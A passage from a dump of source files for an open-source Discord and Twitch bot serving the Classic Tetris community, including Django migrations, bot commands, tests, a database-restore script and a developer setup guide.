[\n migrations.RemoveConstraint(\n model_name='tournamentplayer',\n name='unique_tournament_seed',\n ),\n migrations.AddIndex(\n model_name='tournamentplayer',\n index=models.Index(fields=['tournament', 'seed'], name='classic_tet_tournam_052ca2_idx'),\n ),\n ]\n" }, { "alpha_fraction": 0.7288135886192322, "alphanum_fraction": 0.7288135886192322, "avg_line_length": 58, "blob_id": "0569ca9280fd38e7686bbd724288edc727fcfe0a", "content_id": "fe76cdcc9394fa143d0453208019f4e11b6c9071", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 354, "license_type": "permissive", "max_line_length": 192, "num_lines": 6, "path": "/classic_tetris_project/commands/link.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command, CommandException\n\[email protected](\"link\", \"linkaccount\", usage=\"link\")\nclass LinkCommand(Command):\n def execute(self, *args):\n self.send_message(\"To link your Twitch or Discord account, head to our website and click 'Login' at the top right: https://go.ctm.gg. Once there, you can view and edit your profile.\")\n" }, { "alpha_fraction": 0.5605839490890503, "alphanum_fraction": 0.5605839490890503, "avg_line_length": 32.910892486572266, "blob_id": "264c2f7962dd21c4add47acf221bfed5b67c1f0e", "content_id": "ab1033763c4e51181de96be24252664eb3e36c00", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3425, "license_type": "permissive", "max_line_length": 100, "num_lines": 101, "path": "/classic_tetris_project/tests/models/events.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from classic_tetris_project.test_helper import *\n\nclass Event_(Spec):\n @lazy\n def event(self):\n return EventFactory()\n @lazy\n def user(self):\n return UserFactory()\n @lazy\n def discord_user(self):\n return DiscordUserFactory(user=self.user)\n @lazy\n def twitch_user(self):\n return TwitchUserFactory(user=self.user)\n\n class is_user_eligible:\n def test_returns_true_if_eligible(self):\n self.discord_user\n self.twitch_user\n self.event.qualifying_open = True\n self.event.save()\n\n assert_that(self.event.is_user_eligible(self.user), equal_to(True))\n\n def test_returns_false_if_ineligible(self):\n assert_that(self.event.is_user_eligible(self.user), equal_to(False))\n\n class user_ineligible_reason:\n def setup(self):\n super().setup()\n self.discord_user\n self.twitch_user\n self.event.qualifying_open = True\n self.event.save()\n\n def test_returns_none_if_eligible(self):\n assert_that(self.event.user_ineligible_reason(self.user), equal_to(None))\n\n def test_returns_none_if_started_qualifier(self):\n QualifierFactory(user=self.user, event=self.event)\n assert_that(self.event.user_ineligible_reason(self.user), equal_to(None))\n\n def test_returns_closed(self):\n self.event.qualifying_open = False\n self.event.save()\n\n assert_that(self.event.user_ineligible_reason(self.user), equal_to(\"closed\"))\n\n def test_returns_logged_out(self):\n assert_that(self.event.user_ineligible_reason(None), equal_to(\"logged_out\"))\n\n def test_returns_already_qualified(self):\n QualifierFactory(user=self.user, event=self.event, submitted_=True)\n\n assert_that(self.event.user_ineligible_reason(self.user), equal_to(\"already_qualified\"))\n\n def test_returns_link_twitch(self):\n self.twitch_user.delete()\n self.user.refresh_from_db()\n\n assert_that(self.event.user_ineligible_reason(self.user), equal_to(\"link_twitch\"))\n\n def test_returns_link_discord(self):\n self.discord_user.delete()\n self.user.refresh_from_db()\n\n assert_that(self.event.user_ineligible_reason(self.user), equal_to(\"link_discord\"))\n\n\nclass Qualifier_(Spec):\n @lazy\n def qualifier(self):\n return QualifierFactory()\n\n class review:\n @patch.object(Qualifier, \"report_reviewed\")\n def test_sets_reviewer_columns(self, report_reviewed):\n reviewer = UserFactory()\n self.qualifier.review(True, reviewer, notes=\"Great job\", checks={\n \"announced\": True,\n \"stencil\": True,\n \"rom\": True,\n \"timer\": True,\n \"reset\": True,\n })\n assert_that(self.qualifier, has_properties(\n approved=True,\n reviewed_by=reviewer,\n review_data={\n \"notes\": \"Great job\",\n \"checks\": {\n \"announced\": True,\n \"stencil\": True,\n \"rom\": True,\n \"timer\": True,\n \"reset\": True,\n },\n }\n ))\n report_reviewed.assert_called_once()\n" }, { "alpha_fraction": 0.549262523651123, "alphanum_fraction": 0.5575221180915833, "avg_line_length": 35.84782791137695, "blob_id": "3e4785963e34f00e1d603db716eafef564929452", "content_id": "17a6545fef8b3bcb6b11dcea7fb922128a62ffca", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3390, "license_type": "permissive", "max_line_length": 100, "num_lines": 92, "path": "/classic_tetris_project/commands/pb.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command, CommandException\nfrom .. import discord\nfrom ..util import Platform\nfrom ..models import DiscordUser\n\[email protected](\"pb\", \"getpb\",\n usage=\"pb [username] (default username you)\")\nclass GetPBCommand(Command):\n def execute(self, *username):\n username = username[0] if len(username) == 1 else self.context.args_string\n\n platform_user = (self.any_platform_user_from_username(username) if username\n else self.context.platform_user)\n\n if not platform_user:\n raise CommandException(\"User has not set a PB.\")\n\n user = platform_user.user\n name = self.context.display_name(platform_user)\n\n ntsc_pb = user.get_pb(\"ntsc\")\n ntsc_pb_19 = user.get_pb(\"ntsc\", 19)\n pal_pb = user.get_pb(\"pal\")\n\n if ntsc_pb:\n if ntsc_pb_19:\n ntsc_pb_text = \"{pb:,} ({pb19:,} 19 start)\".format(pb=ntsc_pb, pb19=ntsc_pb_19)\n else:\n ntsc_pb_text = \"{pb:,}\".format(pb=ntsc_pb)\n\n if pal_pb:\n pal_pb_text = \"{pb:,}\".format(pb=pal_pb)\n\n if ntsc_pb and pal_pb:\n self.send_message(\"{name} has an NTSC PB of {ntsc} and a PAL PB of {pal}.\".format(\n name=name,\n ntsc=ntsc_pb_text,\n pal=pal_pb_text\n ))\n elif ntsc_pb:\n self.send_message(\"{name} has an NTSC PB of {ntsc}.\".format(\n name=name,\n ntsc=ntsc_pb_text\n ))\n elif pal_pb:\n self.send_message(\"{name} has a PAL PB of {pb}.\".format(\n name=name,\n pb=pal_pb_text\n ))\n else:\n self.send_message(\"User has not set a PB.\")\n\n\[email protected](\"newpb\", \"setpb\",\n usage=\"setpb <score> [type=NTSC] [level]\")\nclass SetPBCommand(Command):\n def execute(self, score, console_type=\"ntsc\", level=None):\n try:\n score = int(score.replace(\",\", \"\"))\n if level is not None:\n level = int(level)\n except ValueError:\n raise CommandException(send_usage=True)\n\n if score < 0:\n raise CommandException(\"Invalid PB.\")\n\n # I no longer feel comfortable setting a limit here, beyond \"8 digits.\"\n # Even that upper bound, I implement knowing it may someday be broken.\n # I cannot predict the future of this game, nor do I wish to try.\n # Kudos to those who push the limits of what is possible.\n if score > 9999999:\n raise CommandException(\"You wish, kid >.>\")\n\n if level is not None and (level < 0 or level > 29):\n raise CommandException(\"Invalid level.\")\n\n console_type = console_type.lower()\n if console_type != \"ntsc\" and console_type != \"pal\":\n raise CommandException(\"Invalid PB type - must be NTSC or PAL (default NTSC)\")\n\n level_text = \"\"\n if level is not None:\n level_text = f\" level {level}\"\n\n pb = self.context.user.add_pb(score, console_type=console_type, starting_level=level)\n self.send_message(\"{user_tag} has a new {console_type}{level_text} PB of {score:,}!\".format(\n user_tag=self.context.user_tag,\n console_type=pb.get_console_type_display(),\n level_text=level_text,\n score=pb.score\n ))\n" }, { "alpha_fraction": 0.5645161271095276, "alphanum_fraction": 0.6152073740959167, "avg_line_length": 23.11111068725586, "blob_id": "2876d79f7580fc382bd638e0eead69a66ecf1f83", "content_id": "913b03a9fdbdb34dc0c4655cac5bf60ada0c522f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 434, "license_type": "permissive", "max_line_length": 75, "num_lines": 18, "path": "/classic_tetris_project/migrations/0065_twitchuser_display_name.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-02-05 09:18\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0064_tournament_discord_emote_string'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='twitchuser',\n name='display_name',\n field=models.CharField(max_length=25, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5207824110984802, "alphanum_fraction": 0.5990220308303833, "avg_line_length": 21.72222137451172, "blob_id": "e3270e59487316c7e5fe296a1f856e3f6316f3ac", "content_id": "efb0d56e0724d7f92a4a6a05feed535468506e03", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 409, "license_type": "permissive", "max_line_length": 62, "num_lines": 18, "path": "/classic_tetris_project/migrations/0069_alter_qualifier_vod.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-07-17 08:31\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0068_auto_20220717_0652'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='qualifier',\n name='vod',\n field=models.URLField(blank=True, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.573913037776947, "alphanum_fraction": 0.6282608509063721, "avg_line_length": 23.210525512695312, "blob_id": "5930ccbea9a1033265fc75fe5edcb241cd89dd92", "content_id": "2aee27d31b16c6a6a2cbbecb80d2a82f42a0de06", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 460, "license_type": "permissive", "max_line_length": 81, "num_lines": 19, "path": "/classic_tetris_project/migrations/0070_tournament_bracket_color.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-07-26 18:24\n\nimport colorfield.fields\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0069_alter_qualifier_vod'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='bracket_color',\n field=colorfield.fields.ColorField(default='#b7b7b7', max_length=18),\n ),\n ]\n" }, { "alpha_fraction": 0.5955055952072144, "alphanum_fraction": 0.653558075428009, "avg_line_length": 27.105262756347656, "blob_id": "378699008ad9a1ae2e1110794c81221e5296aad1", "content_id": "3ff4bd5183469b7d4b16b2e571b76febb615686d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 534, "license_type": "permissive", "max_line_length": 142, "num_lines": 19, "path": "/classic_tetris_project/migrations/0055_auto_20210802_1721.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-08-02 17:21\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0054_auto_20210802_1651'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='tournamentmatch',\n name='match',\n field=models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='classic_tetris_project.match'),\n ),\n ]\n" }, { "alpha_fraction": 0.5820689797401428, "alphanum_fraction": 0.6289654970169067, "avg_line_length": 29.20833396911621, "blob_id": "5b60a503fa0230c75fa6de9eaef00d70b385e4de", "content_id": "f23cbedd4a4abc132d521466403fdf9eb4826cde", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 725, "license_type": "permissive", "max_line_length": 147, "num_lines": 24, "path": "/classic_tetris_project/migrations/0016_auto_20200318_2227.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-03-18 22:27\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0015_auto_20200318_0315'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='customcommand',\n name='alias_for',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.CustomCommand'),\n ),\n migrations.AlterField(\n model_name='customcommand',\n name='output',\n field=models.CharField(blank=True, max_length=400, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5239043831825256, "alphanum_fraction": 0.5896414518356323, "avg_line_length": 26.88888931274414, "blob_id": "578bb045bda1c8f0715154fa7140881251d282e2", "content_id": "a47749c2f35a9e035cdafd5b268bdb3c843bc689", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 502, "license_type": "permissive", "max_line_length": 153, "num_lines": 18, "path": "/classic_tetris_project/migrations/0017_user_pronouns.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-04-01 02:11\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0016_auto_20200318_2227'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='user',\n name='pronouns',\n field=models.CharField(choices=[('he', 'He/him/his'), ('she', 'She/her/hers'), ('they', 'They/them/theirs')], default='they', max_length=16),\n ),\n ]\n" }, { "alpha_fraction": 0.7684192657470703, "alphanum_fraction": 0.7728922367095947, "avg_line_length": 77.99333190917969, "blob_id": "c26748e65eb2fc310a7b7ea6cd9110cb033e4d24", "content_id": "89833b6fea09934e5b6d33a8ef794394bd87682c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 11849, "license_type": "permissive", "max_line_length": 805, "num_lines": 150, "path": "/docs/SETUP_ROBUST.md", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Setting up a development environment\n\nIn the case of a bot like this, when we implement new features, we test them on a completely separate bot before pushing them to production. This means a separate Twitch account, a separate Discord bot on a separate Discord server, and a separate database. This has numerous advantages, but unfortunately it can be a bit of a pain to set up. This document will outline that process.\n\n## Preliminaries\n\nThe bot runs on an Amazon Web Services (AWS) [EC2 instance](https://aws.amazon.com/ec2). AWS is highly reliable, runs 24/7, and most importantly allows us to dynamically scale the resources as necessary. When I first joined the CTM server, it was quite literally less tha 1% of its current size. This bot started out on Twitch only, without a `!summon` command, and was in only one channel aside from [its own](https://www.twitch.tv/classictetrisbot): the [ClassicTetris channel](https://www.twitch.tv/classictetris). Today, it is in over 120. Scalability is important - as the Tetris community continues to grow (and as this project and the corresponding [website](https://monthlytetris.info) do so alongside it), we will need room to expand not only the software but the hardware infrastructure as well.\n\nThe AWS instance is running under the Ubuntu 18.04 LTS server distribution, but for development, I'm confident that any \\*nix operating system will do. However, if you have Windows, you may consider [Windows Subsystem for Linux (WSL)](https://docs.microsoft.com/en-us/windows/wsl/install-win10), which allows you to run many Linux distributions, including Ubuntu 16.04 and 18.04, from your Windows machine. WSL can be finnicky, but it works well enough for this.\n\nOnce you have access to sudo priviliges in a bash command line with which you are relatively comfortable, you can proceed. For the following instructions, I use `apt` as a package manager, but you may replace that with whatever your operating system uses (`dnf`, `yum`, `pacman`, and `brew` are a few examples).\n\n## Setup\n\n### Development dependencies\n\nBegin, if you haven't already, by installing the necessary packages with your package manager:\n\n```bash\nsudo apt install python3.7 python3.7-dev python3-pip sqlite3 libsqlite3-dev\n```\n\nFor a robust development environment, next, using Python's package manager [pip](https://pip.pypa.io/en/stable), we install [virtualenvwrapper](https://virtualenvwrapper.readthedocs.io/en/latest), which is \"a set of extensions\" of another Python tool called virtualenv. Its benefits are numerous, but most notably it elegantly (and quietly) deals with versioning of all dependencies, as well as of Python itself, within our development and production environments. Install it like so:\n\n```bash\nsudo pip install virtualenvwrapper\nsource /usr/local/bin/virtualenvwrapper.sh\n```\n\nAlternatively, with Python 3:\n\n```bash\nsudo pip3 install virtualenvwrapper\nVIRTUALENVWRAPPER_PYTHON=\"/usr/bin/python3\"\nsource /usr/local/bin/virtualenvwrapper.sh\n```\n\n### Directory and Virtualenv Setup\n\nNow, make sure you're logged in to your GitHub account, and **fork this repository** using the button at the top right of this page. This will create a *copy* of the repository on your GitHub account, allowing you to commit and push your changes without altering my repository.\n\nNext, back in your command line, clone your new forked repository (replacing `YOUR-USERNAME` in the following command with your GitHub username) and enter the directory:\n\n```bash\ngit clone https://github.com/YOUR-USERNAME/classic-tetris-project.git\ncd classic-tetris-project\n```\n\nNow, we can make a virtual environment with the previously installed tool. I called mine `ctp`, short for Classic Tetris Project. Because this bot runs on Python 3.7, we direct the virtual environment to use that version (Which should now be installed) with the `--python` flag:\n\n```bash\nmkvirtualenv ctp --python=/usr/bin/python3.7\n```\n\nAfter running that, there should be a `(ctp)` preceeding the bash prompt on your screen. Mine looks like this:\n\n```\n(ctp) elle@home-dev-server:classic-tetris-project$\n```\n\nEvery time you restart the bash session, when you enter the repository to develop or test, you have to remember to type `workon ctp` to also enter the virtual environment you've created. Errors will arise if you do not, because your machine will try to run the bot under Python 2.7.\n\n### Development Requirements and Database Setup\n\nFrom within the project's root directory (`classic-tetris-project`), run the following command to install the requirements:\n\n```bash\npip install -r requirements.txt\n```\n\nThis will install the \nWe're almost done! We just have two more steps. Right now, there's still no database at all (or, if you took the optional steps, the database is empty). Thankfullly, with SQLite, there's no setup involved, because Django will automatically create a database upon the first migration if one doesn't exist already. Still within the project's root directory, run this:\n\n```bash\npython manage.py migrate\n```\n\nIt should apply a series of migrations with cryptic names that create your database and structure it properly.\n\n### Creating Platform Bot Accounts\n\nNow, we're ready to create your bot accounts. These are the accounts that your bot will use to communicate.\n\n#### Twitch\n\nFirst, create a **new Twitch account** that will act as your bot for testing. My test account is called ClassicTetrisBotTest, but you can call yours anything you want. I recommend doing this in a private browsing/incognito window (or in a browser you don't normally use for Twitch) so you don't have to log out of your actual Twitch account.\n\nNext, in the same browser window (logged in to new account), head to `https://dev.twitch.tv`. Click \"Log in with Twitch\" in the top right, and then \"Authorize\" on the subsequent page. When you're redirected back to the dev homepage, click on the \"Your Console\" button in the top right (right where the login button used to be). On the right, in the Applications panel, click \"Register Your Application\". The *Name* field can be whatever you want, but you should add `http://localhost` as an *OAuth Redirect URL*, and the *Category* should be \"Chat Bot\". Complete the captcha and click \"Create\". Then, click \"Manage\", and **copy and store the contents of the Client ID field and label it as such.** \n\nFinally for our Twitch setup, we need an OAuth token to be used for API calls and for chat functionality. To do this, we can follow the steps outlined here: https://dev.twitch.tv/docs/authentication/getting-tokens-oauth/#oauth-implicit-code-flow. Note that this is the preferred way to generate a token as opposed to third party token generation apps as we must ensure our oauth token matches our client ID for the Twitch Helix API.\n\nHere is an example GET request that we can use (replace with your client ID):\n```\nhttps://id.twitch.tv/oauth2/authorize?client_id={client_id}&redirect_uri=http://localhost&response_type=token&scope=user:read:email chat:read chat:edit\n```\n\nThat will return a URL with an access token on it. **copy it into a text document or otherwise save it for later**.\n\n#### Discord\n\nNow, we can move on to Discord. Back in your usual browser, make sure you're logged in to [Discord](https://discordapp.com), then head to their [developer portal](https://discordapp.com/developers/applications). Click \"New Application\" in the top right, and give it any name you wish; both my production and test applications have identical names to their Twitch counterparts. Once you've created the application, take a minute to explore the interface if you so desire, then head to the \"Bot\" section on the left. There should be an \"Add Bot\" button that's just *begging* to be clicked.\n\nBy default, the bot you create has the same username as the name of your project, but it is of course editable at any point. What you're interested in is the *token*. There should be a TOKEN label directly beneath the username of your bot. Click the \"Copy\" button right there, which copies the token to your clipboard, and paste it in the same place as your Twitch OAuth key and Client ID, making sure to keep everything labeled so you know what's what.\n\nAfter this, scroll down to the \"Privileged Gateway Intents\" section and enable the \"Server Members Intent\" option.\n\nNext, head to the OAuth tab on the left, and check the permission boxes exactly according to the following images:\n\n![OAuth Permissions](https://github.com/professor-l/classic-tetris-project/blob/master/docs/img/oauth_permissions.png)\n\n![Bot Permissions](https://github.com/professor-l/classic-tetris-project/blob/master/docs/img/permissions.png)\n\nThen, copy the URL given at the bottom of the OAuth permissions box (the first one) and save it sommewhere (only briefly - you can just paste it in a new tab if you want). Finally, back on the Discord app, create a [new server](https://support.discordapp.com/hc/support/en-us/articles/204849977-How-do-I-create-a-server-) to use as your testing server. \n\nHead back to that URL you just saved, and enter it into your browser. When asked which server(s) you want to add the bot to, select the new one you just made, and click \"Continue\" followed by \"Authorize\". You may have to convince them that you're not a robot, but hopefully you're not a robot, in which case that shouldn't be an issue. If it is... talk to me, and we may be able to work somethiing out.\n\nOne last step on Discord - go into your settings in Discord itself, head into the \"Appearance\" section, and **enable developer mode**. This will allow you to copy IDs and other things that will be useful for you as a - wait for it - *developer*. Once that's done and you've saved your changes, you're set!\n\n### Environment Variables\n\nOkay, I *promise* we're almost done. We just have one more step.\n\nBack in the `classic-tetris-project` directory, either using a command-line or GUI text editor, create a new file in the root directory called `.env`. This file will store environment variables on which the bot depends. Fill out the file like so:\n\n```\nDISCORD_TOKEN=<Your Discord token>\nDISCORD_GUILD_ID=<Your new Discord server's ID>\n\nTWITCH_USERNAME=<Your Twitch bot's username>\nTWITCH_TOKEN=<Your Twitch OAuth token (excluding the \"oauth\" prefix)>\nTWITCH_CLIENT_ID=<Your Twitch Client ID>\n```\n\nYou can optionally add `DISCORD_MODERATOR_ROLE_ID`, which should correspond with the role that people must have to invoke moderator-only commands on Discord, but it is not necessary.\n\nTo get the guild/server ID, right-click on the server's icon and click \"Copy ID\" (if it's not an option, you forgot to enable Developer Tools in settings).\n\n### Running the Bot\n\nNow, save that `.env` file, and you should - *finally* - be ready for a test run. In the command line, inside the virtual environment you've created, run:\n\n```bash\npython manage.py bot\n```\n\nIf that connects to your bot's Twitch channel as well as Discord (and confirms these connections in the shell), everything's working! Try pinging the bot with a quick `!test` - it should respond enthusiastically. You can also test the databse's functionality by setting your PB and even linking your Twitch account, keeping in mind that this is running on a test database, and there are no consequences to losing that data. \n\nIf something goes wrong, read the error message carefully, and see if you can troubleshoot. I am also happy to help - if you've made it this far, you're dedicated enough to be worth my time - so don't hesitate to reach out to me (Professor L#1975) on Discord!\n\nMost importantly, if you have any remarks on this setup guide, you're welcome to suggest edits or ask questions to help with clarity or even fix bugs. This should provide you with a good starting point for development, but nothing is permanent, and nothing is above criticism. Especially here.\n" }, { "alpha_fraction": 0.5929993391036987, "alphanum_fraction": 0.6183939576148987, "avg_line_length": 35.42499923706055, "blob_id": "9ea99bd061a30e3bc2371812fe6bb0e5d4d9bb6b", "content_id": "41645c6bf6ab361c66687115d1ac2563b3fa1f3f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1457, "license_type": "permissive", "max_line_length": 175, "num_lines": 40, "path": "/classic_tetris_project/migrations/0058_auto_20220104_1936.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2022-01-04 19:36\n\nimport django.core.validators\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0057_auto_20220104_0251'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='match',\n name='reported_by',\n field=models.ForeignKey(blank=True, db_index=False, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='classic_tetris_project.user'),\n ),\n migrations.AlterField(\n model_name='match',\n name='ended_at',\n field=models.DateTimeField(blank=True, null=True),\n ),\n migrations.AlterField(\n model_name='match',\n name='wins1',\n field=models.IntegerField(default=0, validators=[django.core.validators.MinValueValidator(0)]),\n ),\n migrations.AlterField(\n model_name='match',\n name='wins2',\n field=models.IntegerField(default=0, validators=[django.core.validators.MinValueValidator(0)]),\n ),\n migrations.AlterField(\n model_name='tournamentmatch',\n name='match',\n field=models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='tournament_match', to='classic_tetris_project.match'),\n ),\n ]\n" }, { "alpha_fraction": 0.7209302186965942, "alphanum_fraction": 0.7209302186965942, "avg_line_length": 20.5, "blob_id": "a36a6595eebe7791b27c95d9252cc8827c1898bb", "content_id": "0ce182672fc1ad320d49aafd5e337e22692a61b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 86, "license_type": "permissive", "max_line_length": 21, "num_lines": 4, "path": "/classic_tetris_project/test_helper/factories/__init__.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .events import *\nfrom .pages import *\nfrom .scores import *\nfrom .users import *\n" }, { "alpha_fraction": 0.4647887349128723, "alphanum_fraction": 0.47417840361595154, "avg_line_length": 19.285715103149414, "blob_id": "591070e6c394659ec21c09db3b6d2904636f9739", "content_id": "084ec648f488276b22097978d34d03afb24b6c49", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 426, "license_type": "permissive", "max_line_length": 44, "num_lines": 21, "path": "/script/restore_dump.sh", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nif [ -z \"$1\" ]; then\n echo \"restore_dump.sh [path/to/file.dump]\"\n exit 1;\nfi\n\necho \"====================\"\necho \"Creating database\"\necho \"====================\"\ncreatedb tetris 2> /dev/null\n\necho \"====================\"\necho \"Restoring dump\"\necho \"====================\"\npsql tetris -f $1\n\necho \"====================\"\necho \"Applying patches\"\necho \"====================\"\npsql tetris -f script/patch_dump.sql\n" }, { "alpha_fraction": 0.6549520492553711, "alphanum_fraction": 0.6549520492553711, "avg_line_length": 30.299999237060547, "blob_id": "752a62b7e1fcff93a92144ae8a5b64742e3e3de2", "content_id": "5fce689f51da089ca77b8b3d74f09574387148de", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 313, "license_type": "permissive", "max_line_length": 66, "num_lines": 10, "path": "/classic_tetris_project/commands/testmsg.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command\n\[email protected](\"testmsg\",\n usage=\"testmsg\")\nclass TestMessageCommand(Command):\n def execute(self, *username):\n username = \" \".join(username)\n\n platform_user = self.platform_user_from_username(username)\n platform_user.send_message(\"Test!\")\n" }, { "alpha_fraction": 0.5317725539207458, "alphanum_fraction": 0.5953177213668823, "avg_line_length": 17.6875, "blob_id": "422c8e94fca7f92bdf667b029e85364bb947dbc4", "content_id": "2afac11eee30fdf8ba2db763f1a2aa10c5563879", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 299, "license_type": "permissive", "max_line_length": 53, "num_lines": 16, "path": "/classic_tetris_project/migrations/0013_delete_coin.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-02-19 03:20\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0012_coin_side'),\n ]\n\n operations = [\n migrations.DeleteModel(\n name='Coin',\n ),\n ]\n" }, { "alpha_fraction": 0.7009592056274414, "alphanum_fraction": 0.7028565406799316, "avg_line_length": 31.15932273864746, "blob_id": "db05d0d4e76730274350a9b65ea662700e0596bb", "content_id": "2921b96b8cfaad24d25c300c28ca566e23b6c2eb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 9487, "license_type": "permissive", "max_line_length": 355, "num_lines": 295, "path": "/docs/COMMANDS.md", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Commands\n\nThe following is a detailed outline of each command the bot supports. As always, suggestions for more commands are welcome - you may open a [GitHub issue](https://github.com/professor-l/classic-tetris-project/issues/new) to suggest them as well as to report bugs in the existing ones.\n\nCommands are listed with `<required parameters>` and `[optional parameters]`, which occasionally have a `[default=value]`.\n\n## User commands\n\n#### `!profile [username]`\n**Platforms**: Discord<br/>\n\nPrints most standard information stored in the bot belonging to the specified user, or you.\n Also makes it pretty.\n\n#### `!pb [username]`\n**Platforms**: Twitch, Discord<br/>\n**Aliases**: `!getpb`\n\nOutputs the pb of the specified user, or you.\n\n---\n#### `!setpb <pb> [type=NTSC]`\n**Platforms**: Twitch, Discord<br/>\n**Aliases**: `!newpb`\n\nSets the given pb (of type NTSC, 19/NTSC19, or PAL) to yours in the database.\n\n---\n#### `!setplaystyle <DAS|Hypertap|Hybrid>`\n**Platforms**: Twitch, Discord<br/>\n**Aliases**: `!setstyle`\n\nSets your playstyle to DAS, Hypertap, or Hybrid.\n\n---\n#### `!country [username]`\n**Platforms**: Twitch, Discord<br/>\n**Aliases**: `!getcountry`\n\nOutputs the country of the specified user, or you.\n\n---\n#### `!setcountry <three-letter country code>`\n**Platforms**: Twitch, Discord\n\nSets the specified country to yours in the database. You can find a list of the three-letter codes [here](https://www.iban.com/country-codes) under the \"Alpha-3 codes\" column.\n\n---\n#### `!name [username]`\n**Platforms**: Twitch, Discord<br/>\n**Aliases**: `!getname`\n\nOutputs the preferred name of the specified user, or you.\n\n---\n#### `!setname <name>`\n**Platforms**: Twitch, Discord\n\nSets your preferred name to the specified name. Can contain letters, numbers, spaces, hyphens, underscores, and periods.\n\n---\n#### `!samepieces [username]`\n**Platforms**: Twitch, Discord<br/>\n**Aliases**: `!samepiecesets`\n\nOutputs whether the specified user (or you) can use the same piece sets romhack.\n\n---\n#### `!setsamepieces <Y/N>`\n**Platforms**: Twitch, Discord<br/>\n**Aliases**: `!setsamepiecesets`\n\nSets your ability to run HydrantDude's same piece set romhack. Options are y/yes/t/true and n/no/f/false.\n\n---\n\n## Account linking commands\n\nAccount linking is the newest feature of the bot, which comes with Discord integration. Using this command, you may link your twitch and Discord accounts through the bot so that the same data is being tracked for you regardless of the platform on which you update it. As more commands and features are added, this will provide additional benefits.\n\n#### `!link <twitch username>`\n**Platforms**: Discord<br/>\n**Aliases**: `!linkaccount`<br/>\n\nSends a whisper (on twitch) to the specified twitch user containing a **token** that can be used to 